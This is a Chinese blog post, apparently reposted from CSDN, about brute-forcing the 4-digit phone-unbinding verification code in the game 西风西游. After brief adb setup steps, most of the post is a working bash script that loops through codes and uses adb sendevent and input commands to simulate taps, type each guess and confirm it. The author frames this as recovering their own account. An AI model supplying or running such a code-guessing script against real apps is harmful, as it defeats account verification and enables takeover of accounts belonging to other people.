使用adb shell模拟人工操作手机输入验证码,暴力破解西风西游手机解绑的问题

一、问题:西风西游绑定的手机号码已经不在使用,手机解绑需要输入验证码

二、方案:西方西游的验证码为4位数字,可以使用1000~9999进行输入进行暴力破解。

三、使用工具:

1. adb

运行adb shell可以进入手机的终端界面,类型windows的cmd以及linux的终端

使用getevents命令可以捕获手机的操作事件,通过点击手机界面我们可以获取到相应的指令

使用sendevents发送命令模仿点击、输入验证码等操作。

getevents获取的指令是16进制的,在sendevents时需要换算为十进制

2. ubuntu系统

四、步骤

1. 安装adb, sudo apt-get install android-tools-adb

2. 在手机端打开usb调试功能(可以百度搜索各个品牌的手机USB调试开启步骤)

3. 使用adb devices查看是否已经连接到手机(手机会弹出是否授权给电脑操作的提示)

4. 编写脚本进行暴力破解

#!/bin/bash
echo "po jie start"
i=7532
while ((i < 10000))
do
echo "exec the ${i} time to pojie"
#1. 点击验证码的输入框
adb shell sendevent /dev/input/event1 3 57 26854
adb shell sendevent /dev/input/event1 1 330 1
adb shell sendevent /dev/input/event1 3 50 3
adb shell sendevent /dev/input/event1 3 53 169
adb shell sendevent /dev/input/event1 3 54 360
adb shell sendevent /dev/input/event1 0 0 0
adb shell sendevent /dev/input/event1 3 57 4294967295
adb shell sendevent /dev/input/event1 1 330 0
adb shell sendevent /dev/input/event1 0 0 0

#2. 输入验证码
#移动光标到最后
#adb shell input keyevent 123
#退格
adb shell input keyevent 112
adb shell input keyevent 112
adb shell input keyevent 112
adb shell input keyevent 112
adb shell input text "${i}"
((i++))

#3. 点击确认
adb shell sendevent /dev/input/event1 3 57 26854
adb shell sendevent /dev/input/event1 1 330 1
adb shell sendevent /dev/input/event1 3 50 3
#adb shell sendevent /dev/input/event1 3 53 308
#adb shell sendevent /dev/input/event1 3 54 731
adb shell sendevent /dev/input/event1 3 53 304
adb shell sendevent /dev/input/event1 3 54 1219
adb shell sendevent /dev/input/event1 0 0 0
adb shell sendevent /dev/input/event1 3 57 4294967295
adb shell sendevent /dev/input/event1 1 330 0
adb shell sendevent /dev/input/event1 0 0 0

#4. 点击确定进行验证
adb shell sendevent /dev/input/event1 3 57 26854
adb shell sendevent /dev/input/event1 1 330 1
adb shell sendevent /dev/input/event1 3 50 3
adb shell sendevent /dev/input/event1 3 53 140
adb shell sendevent /dev/input/event1 3 54 479
adb shell sendevent /dev/input/event1 0 0 0
adb shell sendevent /dev/input/event1 3 57 4294967295
adb shell sendevent /dev/input/event1 1 330 0
adb shell sendevent /dev/input/event1 0 0 0

#5. 验证错误点击确定重新输入
sleep 1
adb shell sendevent /dev/input/event1 3 57 26854
adb shell sendevent /dev/input/event1 1 330 1
adb shell sendevent /dev/input/event1 3 50 3
adb shell sendevent /dev/input/event1 3 53 555
adb shell sendevent /dev/input/event1 3 54 888
adb shell sendevent /dev/input/event1 0 0 0
adb shell sendevent /dev/input/event1 3 57 4294967295
adb shell sendevent /dev/input/event1 1 330 0
adb shell sendevent /dev/input/event1 0 0 0
done
echo "pojie end"

猜你喜欢

转载自blog.csdn.net/qq_39298227/article/details/92834585